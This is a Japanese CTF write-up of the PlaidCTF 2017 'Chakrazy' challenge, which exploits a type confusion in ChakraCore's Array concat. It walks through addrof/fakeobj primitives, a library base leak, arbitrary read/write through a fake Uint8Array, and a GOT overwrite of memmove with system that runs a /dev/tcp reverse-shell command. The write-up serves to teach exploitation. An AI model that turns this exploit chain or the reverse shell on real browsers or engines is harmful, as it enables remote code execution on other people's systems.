PlaidCTF 2017 - Chakrazy writeup
CTF Advent Calendar 2018の11日目です。
10日目は@bata_24さんの「SECCON 2018 - q-escape Writeup」でした。
今回はPlaidCTF 2017で出題されたChakraCore問であるChakrazyを扱います。
事前知識
まずはChakraCoreのデータ構造をおさらいする
ChakraCoreの基本情報
JavascriptのオブジェクトはJs::RecyclableObject
の派生クラスになっている
最初の8バイトがvtable pointerで、次の8バイトがJs::Type
へのポインタ
/* offset | size */ class Js::RecyclableObject : public FinalizableObject { protected: /* 8 | 8 */ Js::Type* type; /* total size (bytes): 16 */ }
Js::Type
はオブジェクトの型やprototypeを管理するためのオブジェクト
/* offset | size */ class Js::Type { protected: // lib/Runtime/Types/EdgeJavascriptTypeId.h /* 0 | 4 */ Js::TypeId typeId; /* 4 | 1 */ TypeFlagMask flags; /* XXX 3-byte hole */ /* 8 | 8 */ Js::JavascriptLibrary* javascriptLibrary; /* 16 | 8 */ Js::RecyclableObject* prototype; /* 24 | 8 */ void* (*entryPoint)(Js::RecyclableObject*, Js::CallInfo, ...); private: /* 32 | 8 */ Js::TypePropertyCache* propertyCache; /* total size (bytes): 40 */ }
ソースの/lib/Runtime/Types/EdgeJavascriptTypeId.hを見ればJs::TypeId
の一覧が見られる
enum TypeId { TypeIds_Undefined = 0, TypeIds_Null = 1, TypeIds_UndefinedOrNull = TypeIds_Null, TypeIds_Boolean = 2, // backend typeof() == "number" is true for typeIds // between TypeIds_FirstNumberType <= typeId <= TypeIds_LastNumberType TypeIds_Integer = 3, TypeIds_FirstNumberType = TypeIds_Integer, TypeIds_Number = 4, TypeIds_Int64Number = 5, TypeIds_UInt64Number = 6, TypeIds_LastNumberType = TypeIds_UInt64Number, TypeIds_String = 7, TypeIds_Symbol = 8, // (snip) TypeIds_Object = 27, TypeIds_Array = 28, TypeIds_ArrayFirst = TypeIds_Array, TypeIds_NativeIntArray = 29, #if ENABLE_COPYONACCESS_ARRAY TypeIds_CopyOnAccessNativeIntArray = 30, #endif TypeIds_NativeFloatArray = 31, TypeIds_ArrayLast = TypeIds_NativeFloatArray, TypeIds_ES5Array = 32, TypeIds_ArrayLastWithES5 = TypeIds_ES5Array, TypeIds_Date = 33, TypeIds_RegEx = 34, TypeIds_Error = 35, TypeIds_BooleanObject = 36, TypeIds_NumberObject = 37, TypeIds_StringObject = 38, TypeIds_SIMDObject = 39, TypeIds_Arguments = 40, TypeIds_ArrayBuffer = 41, TypeIds_Int8Array = 42, TypeIds_TypedArrayMin = TypeIds_Int8Array, TypeIds_TypedArraySCAMin = TypeIds_Int8Array, // Min SCA supported TypedArray TypeId TypeIds_Uint8Array = 43, TypeIds_Uint8ClampedArray = 44, TypeIds_Int16Array = 45, TypeIds_Uint16Array = 46, TypeIds_Int32Array = 47, TypeIds_Uint32Array = 48, TypeIds_Float32Array = 49, TypeIds_Float64Array = 50, // (snip)
Javascriptのオブジェクトを偽装する場合はtype
も設定する必要があるが、基本的にはtype->typeId
しか見ないようなので、TypeId
として使いたい32bit値があるアドレスをtype
に突っ込むだけでOKなこともある(ただし、そのときはfakeobj.__proto__
へのアクセスを発生させるとSEGVするので注意)
Array
ChakraCoreではArray関連のクラスは3つある
Js::JavascriptArray
- オブジェクトも数値も何でも入れられる配列
- オブジェクト→ポインタをそのまま入れる
- 符号付き32bit値→
(1 << 48) | value
(Js::TaggedInt
) - 浮動小数点数→
(0xfffc << 48) ^ value
- 8 bytes per element
- オブジェクトも数値も何でも入れられる配列
Js::JavascriptNativeIntArray
- 符号付き32bit値を入れるための配列
- 4 bytes per element
Js::JavascriptNativeFloatArray
- 浮動小数点数を入れるための配列
- 8 bytes per element
どのクラスも要素の表現の仕方が違うだけで、構造体のレイアウトは一緒
例えば、Js::JavascriptNativeIntArray
だとこんな感じのレイアウトになる
var a = [0x13371337, 0x13371338, 0x13371339];
(0x80000002は未初期化の要素を表す)
Js::JavascriptNativeIntArray
の場合、要素数16以下だと上の図のようにJs::JavascriptNativeIntArray
とhead
が連続した領域に確保される
ChakraCoreの配列は要素を複数の区間に分けて保持できるようになっており、区間ごとにJs::SparseArraySegment
が作られる
要素の取得・設定は大体こんな感じ
def get_item(self, index): if index < self.length: last_used_segment = self.get_last_used_segment() # self.flags & 2 == 0ならself.segmentUnionの値が使われる offset = index - last_used_segment.left if last_used_segment.left <= index and offset < last_used_segment.length and self.elements[offset] is not uninitialized: return self.elements[offset] else: # slowpath else: # slowpath def set_item(self, index, value): if index < self.length: last_used_segment = self.get_last_used_segment() offset = index - last_used_segment.left if last_used_segment.left <= index and offset < last_used_segment.size self.elements[offset] = value assert(last_used_segment.length <= last_used_segment.size) # update last_used_segment.length if necessary else: # slowpath else: # slowpath
TypedArray
TypedArrayはJs::TypedArray<typename TypeName, bool clamped = false, bool virtualAllocated = false>
というテンプレートクラスで実装されている
例えば、Uint8Array
はJs::TypedArray<unsigned char, false, false>
となる
レイアウトはこんな感じ
var a = new Uint8Array(16);
TypedArrayを偽装する場合、arrayBuffer
はArrayBuffer
オブジェクトのアドレスを入れる必要がある(arrayBuffer
の内容とbuffer
とが合っていなくてもOK)
Chakrazy
ChakraCoreの基礎知識をおさらいしたので、本題のChakrazyを見ていく
パッチ解析
脆弱なパッチが当てられたのはJavascriptArray::ConcatIntArgs
で、これはJavascriptNativeIntArray
な配列に対して、引数がJavascriptNativeIntArray
またはTaggedInt
なconcat
を呼ぶと実行される関数
// pDestArrayはconcatを呼んだ配列ではなく、concatの結果が格納される配列なので注意 JavascriptArray* JavascriptArray::ConcatIntArgs(JavascriptNativeIntArray* pDestArray, TypeId *remoteTypeIds, Js::Arguments& args, ScriptContext* scriptContext) { uint idxDest = 0u; for (uint idxArg = 0; idxArg < args.Info.Count; idxArg++) { // concatの引数を1つずつ取得 Var aItem = args[idxArg]; bool spreadableCheckedAndTrue = false; if (scriptContext->GetConfig()->IsES6IsConcatSpreadableEnabled()) { // ☆1 ここで介入してpDestArrayの型を変えられる // IsConcatSpreadableに関してはMDN (https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/Symbol/isConcatSpreadable)を参照 spreadableCheckedAndTrue = JavascriptOperators::IsConcatSpreadable(aItem) != FALSE; // パッチによりここが削除 // if (!JavascriptNativeIntArray::Is(pDestArray)) // { // ConcatArgs<uint>(pDestArray, remoteTypeIds, args, scriptContext, idxArg, idxDest, spreadableCheckedAndTrue); // return pDestArray; // } if(!spreadableCheckedAndTrue) // ここに入ると意味が無いので、IsConcatSpreadableはtrueを返すようにする { pDestArray->SetItem(idxDest, aItem, PropertyOperation_ThrowIfNotExtensible); idxDest = idxDest + 1; if (!JavascriptNativeIntArray::Is(pDestArray)) // SetItem could convert pDestArray to a var array if aItem is not an integer if so fall back { ConcatArgs<uint>(pDestArray, remoteTypeIds, args, scriptContext, idxArg + 1, idxDest); return pDestArray; } continue; } } if (JavascriptNativeIntArray::Is(aItem)) // Fast path { // aItemがJavascriptNativeIntArrayならこっち JavascriptNativeIntArray* pItemArray = JavascriptNativeIntArray::FromVar(aItem); // ☆2 ここでtype confusionその1 // bool JavascriptArray::CopyNativeIntArrayElements(JavascriptNativeIntArray* dstArray, uint32 dstIndex, JavascriptNativeIntArray* srcArray, uint32 start, uint32 end) // pDestArray[idxDest..]にpItemArrayの要素をセットしていく // このとき、pDestArrayをJavascriptNativeIntArrayとみなしてDirectSetItemAt<int>を呼ぶので、 // pItemArrayにアドレスを入れておくとpDestArrayに入れてくれる bool converted = CopyNativeIntArrayElements(pDestArray, idxDest, pItemArray); idxDest = idxDest + pItemArray->length; if (converted) { // Copying the last array forced a conversion, so switch over to the var version // to finish. ConcatArgs<uint>(pDestArray, remoteTypeIds, args, scriptContext, idxArg + 1, idxDest); return pDestArray; } } else if (!JavascriptArray::IsAnyArray(aItem) && remoteTypeIds[idxArg] != TypeIds_Array) { // aItemが配列以外ならこっち。こっちに来ても特においしいことはない if (TaggedInt::Is(aItem)) { pDestArray->DirectSetItemAt(idxDest, TaggedInt::ToInt32(aItem)); } else { #if DBG int32 int32Value; Assert( JavascriptNumber::TryGetInt32Value(JavascriptNumber::GetValue(aItem), &int32Value) && !SparseArraySegment<int32>::IsMissingItem(&int32Value)); #endif pDestArray->DirectSetItemAt(idxDest, static_cast<int32>(JavascriptNumber::GetValue(aItem))); } ++idxDest; } else { // aItemが配列ならこっち // ☆3 ここでtype confusionその2 // pDestArrayをJavascriptNativeIntArrayとみなしてJavascriptArrayにコンバートするので、 // pDestArrayにアドレスが入っていると上位32bitと下位32bitに分けられる JavascriptArray *pVarDestArray = JavascriptNativeIntArray::ConvertToVarArray(pDestArray); ConcatArgs<uint>(pVarDestArray, remoteTypeIds, args, scriptContext, idxArg, idxDest, spreadableCheckedAndTrue); return pVarDestArray; } } if (pDestArray->GetLength() != idxDest) { pDestArray->SetLength(idxDest); } return pDestArray; }
それではソースを少しずつ見ていく
パッチ周辺
まずは☆1(パッチ周辺)
if (scriptContext->GetConfig()->IsES6IsConcatSpreadableEnabled()) { // ☆1 ここで介入してpDestArrayの型を変えられる // IsConcatSpreadableに関してはMDN (https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/Symbol/isConcatSpreadable)を参照 spreadableCheckedAndTrue = JavascriptOperators::IsConcatSpreadable(aItem) != FALSE; // パッチによりここが削除 // if (!JavascriptNativeIntArray::Is(pDestArray)) // { // ConcatArgs<uint>(pDestArray, remoteTypeIds, args, scriptContext, idxArg, idxDest, spreadableCheckedAndTrue); // return pDestArray; // } if(!spreadableCheckedAndTrue) // ここに入ると意味が無いので、IsConcatSpreadableはtrueを返すようにする { pDestArray->SetItem(idxDest, aItem, PropertyOperation_ThrowIfNotExtensible); idxDest = idxDest + 1; if (!JavascriptNativeIntArray::Is(pDestArray)) // SetItem could convert pDestArray to a var array if aItem is not an integer if so fall back { ConcatArgs<uint>(pDestArray, remoteTypeIds, args, scriptContext, idxArg + 1, idxDest); return pDestArray; } continue; } }
見て分かるとおり、JavascriptOperators::IsConcatSpreadable(aItem)
が呼ばれた後でもpDestArray
がJavascriptNativeIntArray
のままかどうかのチェックが消えている
これは、例えば以下のようなコードを書くと何かよろしくないことが起きることを示唆している
var pDestArray; var array = [0, 1, 2]; // concatを呼ぶ用のJavascriptNativeIntArray var aItem = [0, 1, 2]; // concatに渡す用のJavascriptNativeIntArray // pDestArrayを取得するためにSymbol.speciesを使う var f = new Function(); f[Symbol.species] = function(){ // concatの結果を格納する配列を作るときに呼ばれる pDestArray = []; // この時点ではJavascriptNativeIntArray return pDestArray; } array.constructor = f; // このようなgetterを設定しておくと、JavascriptOperators::IsConcatSpreadable(aItem)が呼ばれたときに実行される Object.defineProperty(aItem, Symbol.isConcatSpreadable, { get: function(){ pDestArray[0] = {}; // pDestArrayをJavascriptArrayに変える return true; } }); array.concat(aItem);
Type Confusion その1
次に見るのは☆2(concat
の引数がJavascriptNativeIntArray
だったときの処理)
if (JavascriptNativeIntArray::Is(aItem)) // Fast path { // aItemがJavascriptNativeIntArrayならこっち JavascriptNativeIntArray* pItemArray = JavascriptNativeIntArray::FromVar(aItem); // ☆2 ここでtype confusionその1 // bool JavascriptArray::CopyNativeIntArrayElements(JavascriptNativeIntArray* dstArray, uint32 dstIndex, JavascriptNativeIntArray* srcArray, uint32 start, uint32 end) // pDestArray[idxDest..]にpItemArrayの要素をセットしていく // このとき、pDestArrayをJavascriptNativeIntArrayとみなしてDirectSetItemAt<int>を呼ぶので、 // pItemArrayにアドレスを入れておくとpDestArrayに入れてくれる bool converted = CopyNativeIntArrayElements(pDestArray, idxDest, pItemArray); idxDest = idxDest + pItemArray->length; if (converted) { // Copying the last array forced a conversion, so switch over to the var version // to finish. ConcatArgs<uint>(pDestArray, remoteTypeIds, args, scriptContext, idxArg + 1, idxDest); return pDestArray; } }
CopyNativeIntArrayElements
はあるJavascriptNativeIntArray
から別のJavascriptNativeIntArray
に複数の要素をコピーするための関数で、プロトタイプから分かるようにコピー先がJavascriptNativeIntArray
であることを想定している
しかし、今回はpDestArray
の型を変えることができるため、コピー先にJavascriptArray
を指定することでType Confusionを起こせる
このType Confusionを使うと任意のアドレスにあるデータをJavascriptのオブジェクトとして取り出すことができる
利用例はこんな感じ
// addrにあるデータをJavascriptのオブジェクトとして扱う function asJsObject(addr){ var a = [0, 1]; var b = [addr.low, addr.high]; var f = new Function(); var confused; f[Symbol.species] = function(){ confused = []; // この時点ではconfusedはJavascriptNativeIntArray return confused; } a.constructor = f; Object.defineProperty(b, Symbol.isConcatSpreadable, { get: function(){ confused[0] = undefined; // confusedをJavascriptArrayに変える return true; } }); var c = a.concat(b); return c[1]; }
Type Confusion その2
最後に☆3(concat
の引数がJavascriptArray
だった場合)を見る
※「concat
の引数がJavascriptArray
」というのはConcatIntArgs
が呼ばれる条件からして一瞬あり得ないように見えるが、pDestArray
の型が変えられるのと同様にaItem
の型も変えられることを考えると何らおかしくない
else { // aItemが配列ならこっち // ☆3 ここでtype confusionその2 // pDestArrayをJavascriptNativeIntArrayとみなしてJavascriptArrayにコンバートするので、 // pDestArrayにアドレスが入っていると上位32bitと下位32bitに分けられる JavascriptArray *pVarDestArray = JavascriptNativeIntArray::ConvertToVarArray(pDestArray); ConcatArgs<uint>(pVarDestArray, remoteTypeIds, args, scriptContext, idxArg, idxDest, spreadableCheckedAndTrue); return pVarDestArray; }
aItem
がJavascriptNativeIntArray
以外の配列な場合はpDestArray
をJavascriptArray
に変換してからaItem
のデータをコピーする必要があるため、JavascriptNativeIntArray::ConvertToVarArray(pDestArray)
が呼ばれることになる
この関数もpDestArray
がJavascriptNativeIntArray
であることを想定しているので、ここでもType Confusionが起こせる
このType Confusionを使うと、pDestArray
に入っているJavascriptのオブジェクトのアドレスを取得することができる
利用例はこんな感じ
// objのアドレスを取得する function getAddress(obj){ var a = [0, 1, 2]; var b = [0, 1]; var f = new Function(); var confused; f[Symbol.species] = function(){ confused = []; // この時点ではconfusedはJavascriptNativeIntArray return confused; }; a.constructor = f; // b[Symbol.isConcatSpreadable]はNG Object.defineProperty(b, Symbol.isConcatSpreadable, { get: function(){ b[0] = undefined; // bをJavascriptNativeIntArray以外の配列にする confused[0] = obj; // confusedをJavascriptArrayに変える return true; } }); var c = a.concat(b); return new Integer(c[0], c[1], true); }
exploitを書く
0. ChakraCoreの罠
前項では、Type Confusionでオブジェクトを偽装したりアドレスを取得したりする処理をgetAddress
やasJsObject
という風に関数化したが、この関数を直接呼ぶとなぜか最初の1回しかうまく動かない
以下のように呼び出す度に関数を作り直す形にすると、何回呼んでもちゃんと動くようになる
// https://stackoverflow.com/questions/1833588/javascript-clone-a-function/19515928#19515928 // eval(func.toString())みたいなものも試してみたがダメだった。要調査 function cloneFunc( func ) { var reFn = /^function\s*([^\s(]*)\s*\(([^)]*)\)[^{]*\{([^]*)\}$/gi , s = func.toString().replace(/^\s|\s$/g, '') , m = reFn.exec(s); if (!m || !m.length) return; var conf = { name : m[1] || '', args : m[2].replace(/\s+/g,'').split(','), body : m[3] || '' } var clone = Function.prototype.constructor.apply(this, [].concat(conf.args, conf.body)); return clone; } // これをやらないと2回目以降にうまく動かない(JITのせい?) function getAddress(obj){ getAddress_ = cloneFunc(getAddress_); return getAddress_(obj); } function asJsObject(addr){ asJsObject_ = cloneFunc(asJsObject_); return asJsObject_(addr); } // objのアドレスを取得する function getAddress_(obj){ // (snip) } // addrにあるデータをJavascriptのオブジェクトとして扱う function asJsObject_(addr){ // (snip) }
1. libChakraCoreのアドレスリーク
JavascriptNativeIntArray
を2つ並べ、2つの配列にまたがる形でfakeのJavascriptUInt64Number
オブジェクトを作ることでJavascriptNativeIntArray
のvtableをリークする
function leakChakraCoreBase(){ // a, bはこんな感じのメモリレイアウトになっていて、2個までならrelocateさせずに要素を追加できる // 0x7ffff0d481c0: 0x00007ffff6480bb0 0x00007ffff7e14f00 <-a // 0x7ffff0d481d0: 0x0000000000000000 0x0000000000000005 // 0x7ffff0d481e0: 0x0000000000000004 0x00007ffff0d48200 // 0x7ffff0d481f0: 0x00007ffff0d48200 0x00007ffff7e55a40 // 0x7ffff0d48200: 0x0000000400000000 0x0000000000000006 // 0x7ffff0d48210: 0x0000000000000000 0x0000000200000001 // 0x7ffff0d48220: 0x0000000400000003 0x8000000280000002 // 0x7ffff0d48230: 0x00007ffff6480bb0 0x00007ffff7e14f00 <-b // なので、bの0x10バイト手前(0x7ffff0d48220)に偽のJavascriptUInt64Numberを作ってbのvtableをリークする var a = [1, 2, 3, 4]; var b = [6, 0, 0, 0]; // JavascriptUInt64NumberのTypeId var addressA = getAddress(a); var addressB = getAddress(b); if(addressB.sub(addressA).neq(0x70)){ throw ":("; } // メモリ上にJavascriptUInt64Numberオブジェクトを作る // offset 0x0 : vtable (unused) // 0x8 : Js::Type* type // 0x10: unsigned long value // vtable a[2] = 0; a[3] = 0; // Js::Type* type [a[4], a[5]] = (a => [a.low, a.high])(addressB.add(0x58)); var vtable = Integer.fromNumber(parseInt(asJsObject(addressA.add(0x60))), true); return vtable.sub(offsets.vtable_JavascriptNativeIntArray); }
2. AAR/AAW
libChakraCoreのアドレスが分かったので、fakeのUint8Array
を作ってAAR/AAWできるようにする
function achieveRW(libChakraCoreBase){ var a = new Array(16); // 17以上だとインラインなArrayにならないっぽい var buffer = new ArrayBuffer(0x1000); // 適当なArrayBuffer var deconstruct = a => [a.low, a.high]; var type = [43, 0]; // a中にfakeのUint8Arrayを作る // 0x0 : vtable // 0x8 : type = &(TypeIds_Uint8Array(=43)) // 0x10: auxSlots = NULL // 0x18: objectArray = NULL // 0x20: unsigned int length = length // 0x28: Js::ArrayBufferBase *arrayBuffer = &ArrayBuffer // 0x30: int BYTES_PER_ELEMENT = 1 // 0x34: unsigned int byteOffset = 0 // 0x38: unsigned char *buf // vtable [a[0], a[1]] = deconstruct(libChakraCoreBase.add(offsets.vtable_Uint8Array)); // type [a[2], a[3]] = deconstruct(getAddress(type).add(0x58)); // auxSlots [a[4], a[5]] = [0, 0]; // objectArray [a[6], a[7]] = [0, 0]; // length [a[8], a[9]] = [buffer.byteLength, 0]; // arrayBuffer [a[10], a[11]] = deconstruct(getAddress(buffer)); // BYTES_PER_ELEMENT a[12] = 1; // byteOffset a[13] = 0; // buf [a[14], a[15]] = [0, 0]; var memory = { a: a, b: buffer, // 消えたら困りそうなので一応入れておく t: type, buf: asJsObject(getAddress(a).add(0x58)), setAddress: function(addr){ [this.a[14], this.a[15]] = [addr.low, addr.high]; }, readBytes: function(addr, length){ var result = new Array(length); this.setAddress(addr); // this.buf.slice(0, length)はprototypeへのアクセスが発生するのでNG for(var i = 0; i < length; i++){ result[i] = this.buf[i]; } return result; }, readLong: function(addr){ var result = this.readBytes(addr, 8); return new Integer(result[0] | (result[1] << 8) | (result[2] << 16) | (result[3] << 24), result[4] | (result[5] << 8) | (result[6] << 16) | (result[7] << 24), true); }, writeBytes: function(addr, data){ this.setAddress(addr); for(var i = 0; i < data.length; i++){ this.buf[i] = data[i]; } }, writeLong: function(addr, value){ var bytes = value.toBytesLE(); this.writeBytes(addr, bytes); } }; return memory; }
3. 任意コマンド実行
同じ型のTypedArray a
, b
を使ってa.set(b)
とすると、memmove(a.buffer, b.buffer, a.length)
が呼ばれるので、GOT overwriteでmemmove
をsystem
に変えておけば任意コマンド実行ができる
function pwn(){ var libChakraCoreBase = leakChakraCoreBase(); console.log(`[*] libChakraCore base = 0x${libChakraCoreBase.toString(16)}`); var memory = achieveRW(libChakraCoreBase); var a = new Uint8Array(100); var cmd = "/bin/bash -c 'sh < /dev/tcp/HOST/PORT >&0'\0"; for(var i = 0; i < cmd.length; i++){ a[i] = cmd.charCodeAt(i); } var b = new Uint8Array(a.length); var libcBase = memory.readLong(libChakraCoreBase.add(offsets.got_mprotect)).sub(offsets.libc_mprotect); console.log(`[*] libc base = 0x${libcBase.toString(16)}`); memory.writeLong(libChakraCoreBase.add(offsets.got_memmove), libcBase.add(offsets.libc_system)); a.set(b); }
最終的なexploitはこんな感じ
https://gist.github.com/Charo-IT/c6c82762bf3f5997ddadbbd4a75eb504
参考資料等
https://bruce30262.github.io/2017/12/26/Chakrazy-exploiting-type-confusion-bug-in-ChakraCore/ https://gist.github.com/eboda/18a3d26cb18f8ded28c899cbd61aeaba
CTF Advent Calendar 2018 12日目は@xrekkusuさんの「WebAssembly解いてみる」です。